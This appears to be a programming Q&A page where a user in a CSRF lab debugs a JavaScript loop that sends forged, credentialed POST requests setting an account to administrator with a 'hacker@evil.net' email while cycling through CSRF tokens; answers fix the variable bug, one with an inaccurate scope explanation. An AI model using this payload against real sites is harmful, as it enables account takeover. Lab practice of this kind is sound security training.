How to loop through an array in JavaScript using a for loop?

Currently, I am engaged in a CSRF lab exercise with the challenge of iterating through over 20 tokens.

<script>
    var token = ["f23e7b8c79d33d39ea67f0062b2cdb23", "90b157ac841c5aa7854285ea225c18e3", "9a189a1ef6a01aae6a298a0594831b66"];
    var arrayLength = token.length;
    for (var i = 0; i < arrayLength; i++) {
        function submitRequest() {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "https://csrf.labs/function.php", true);
            xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.withCredentials = true;
            var body = "username=foo&email=hacker%40evil.net&status=administrator&csrf=" + token[i] + "&submit=";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
                aBody[i] = body.charCodeAt(i);
            xhr.send(new Blob([aBody]));
        }
        submitRequest.call();
    };
</script>

In my code, I am using +token[i]+ to insert the token into the csrf parameter but upon inspecting the request(s) in Burp Suite, the token appears to be replaced with "undefined":

POST /function.php HTTP/1.1
Host: csrf.labs
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 89
Origin: null
DNT: 1
Connection: close
Cookie: PHPSESSID=[redacted]
Cache-Control: max-age=0

username=foo&email=hacker%40evil.net&status=administrator&csrf=undefined&submit=

I'm seeking guidance on what I might be misunderstanding or doing incorrectly here. As I am relatively new to JavaScript, could it be that +token[i]+ is not the correct approach for this task?

Answer №1

You have inadvertently defined i twice within the same scope. To resolve this, either use a different variable name or define it using let:

var token = ["f23e7b8c79d33d39ea67f0062b2cdb23", "90b157ac841c5aa7854285ea225c18e3", "9a189a1ef6a01aae6a298a0594831b66"];
var arrayLength = token.length;
for (var i = 0; i < arrayLength; i++) {
    function submitRequest() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://csrf.labs/function.php", true);
        xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "username=foo&email=hacker%40evil.net&status=administrator&csrf=" + token[i] + "&submit=";
        var aBody = new Uint8Array(body.length);
        for (var j = 0; j < aBody.length; j++)
            aBody[j] = body.charCodeAt(j);
        xhr.send(new Blob([aBody]));
    }
    submitRequest.call();
};

Answer №2

Upon creating the fn submitRequest(), a fresh scope is established that lacks awareness of the var token. To address this, it is advisable to include token[i] as a parameter when invoking your function and ensure that the function prototype aligns with the specified requirements.

function submitRequest(token){
}
submitRequest(token[i]);

Similar questions

If you have not found the answer to your question or you are interested in this topic, then look at other similar questions below or use the search

Removing text from a textbox upon clicking in actionscript 3.0

I have a collection of textboxes for inputting information, and I created a function to clear them all when clicked. However, I'm encountering an issue where the object I pass into the parameters is null. var elements:Array = new Array(TB1, TB2, TB3, ...

Getting response headers from an AJAX POST requestWould you like to know how to

I am having trouble retrieving response headers sent by the server. Despite being able to view the response headers in Chrome Dev Tools, when trying to access them using JavaScript, I am only getting an empty object. (I am utilizing the isomorphic-fetch l ...

Filter JSON data in AngularJS ng-repeat by a specific ID

I'm having difficulty getting this to function properly. I've been attempting to filter a JSON file by specific ID and then iterate using ng-repeat. Here's what I have tried: This is the button trigger: <a href="#/compare-details">& ...

iPad problem resolved: Disable click hover and double-click issue

I'm experiencing a problem with my web application specifically on Safari for iPad. I have to click twice in order to actually perform the click on the <a> tag. The first click triggers a hover effect, similar to when you hover with a mouse on d ...

Retrieve all dynamically created select elements using jQuery

I am using jQuery to retrieve and send data via ajax. I have select elements that can be dynamically generated by the user based on their needs. When any of these selects are changed, I want to collect all their values for later use. Unfortunately, I enc ...

Techniques for accessing the most recent input values within a loop

Here is the HTML code snippet: <div v-for="item in my_items"> <div> <input type="text" :value=item.name /> </div> <div> <button @click="edit(item.id, item.name)">Edit ...

Is it possible to alter the JSON file being loaded in AngularJS by passing a variable?

I am in need of loading the content from either food1.json or food2.json, and I am attempting to achieve this within the html template: <body ng-controller="MainCtrl" ng-init="init('food1')"> Subsequently, in the JavaScript code: $scop ...

jQuery Widget - Error: The method cannot be found in [object Object]

I am encountering an error when attempting to call my widget. Uncaught TypeError: Object [object Object] has no method 'koSpreadSheet' The plugin code: (function ($) { //Create spreadsheet app $.widget('koSpreadSheet', { ...

I'm curious about what exactly happens when the NextJS Link component is triggered and how we can effectively capture and respond

As I was developing a simple navbar that uses a JSON data to dynamically generate its links, I encountered the need to visually persist the active link/route. To achieve this, I experimented with two different implementations: Initial approach: In the Me ...

What is the strategy to load a div exclusively when triggered by a click event, instead of loading it

Can anyone assist me with a problem I am facing on my scripting page? I am currently working on a website that showcases properties. I would like to know how to prevent a specific div from loading when the page initially loads, and instead have its content ...

Guidelines for Inputting Passwords in Bootstrap 4 Modal Windows

$(window).on('load',function(){ $('#loginModal').modal('show'); }); $(document).ready(function(e) { $('#loginModal').on('hidden.bs.modal', function(e) { window.location.href = '../index. ...

What is the process for incorporating a custom attribute into an element with Vue directives?

One of the challenges I'm facing is dealing with a custom attribute called my-custom-attribute. This attribute contains the ID for the element that needs to have the attribute added or removed based on a boolean value. Although I've implemented ...

Steps for implementing a click-event in a modal

Hi there, I'm fairly new to JavaScript and I've been working on implementing a feature where a Bootstrap modal opens when a button is clicked (the button's ID is set dynamically from a database). If the user clicks "Yes" in the modal, it sho ...

Checking the format of a JSON object within a WCF RESTful service

I have developed a WCF REST service that receives a JSON object as StudentDetails in the POST method. I need to validate the structure of this JSON object to ensure it does not contain any extra fields beyond the specified ones. Below is the ServiceContr ...

Retrieve the property of an object from within an array

I am dealing with an array structure like this: const arr = [{ name: 'One', id: 1 }, { name: 'Two', id: 2 } ]; My goal is to extract and return the name of the object if its id matches a certain value. After exp ...

Do we constantly rely on using !! to get the accurate boolean value in JavaScript?

After studying a case, I came across the following code snippet: loggedInUser$ = this.select().pipe( filter(({ user }) => toBoolean(user)), map(({ user: { firstName: f, lastName: l } }) => `${f} ${l}`) ); I am wondering if we can always rep ...

Encountering a Project Oxford error - HTTP 404 while trying to access Computer Vision API with Javascript

I am attempting to retrieve JSON data from Microsoft Project Oxford via an API call. Despite following the API reference, I encounter a 404 error when making the call. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js">< ...

Storing and retrieving references to strings in C

Suppose I receive a single-line string from standard input. My goal is to extract individual strings from this line and store them in an array like so: char ** array_of_strings The array should specifically contain only the numeric digits found within th ...

What could be causing my JSON array to not display an input type radio for every line?

I am puzzled as to why the radio is displaying all the choices in one line instead of individually. I'm attempting to create a quiz/result code. HTML FILE <html><br> <head><br> <meta charset="UTF-8"><br> <title ...

Learn the process of choosing and displaying all articles belonging to the logged-in user with JavaScript and MongoDB!

Using the code snippet below, I am able to retrieve all articles: getAllPost: (req, res) => { Article.find({}).limit().populate('author').then(articles => { res.render('home/AllPost',{ articles ...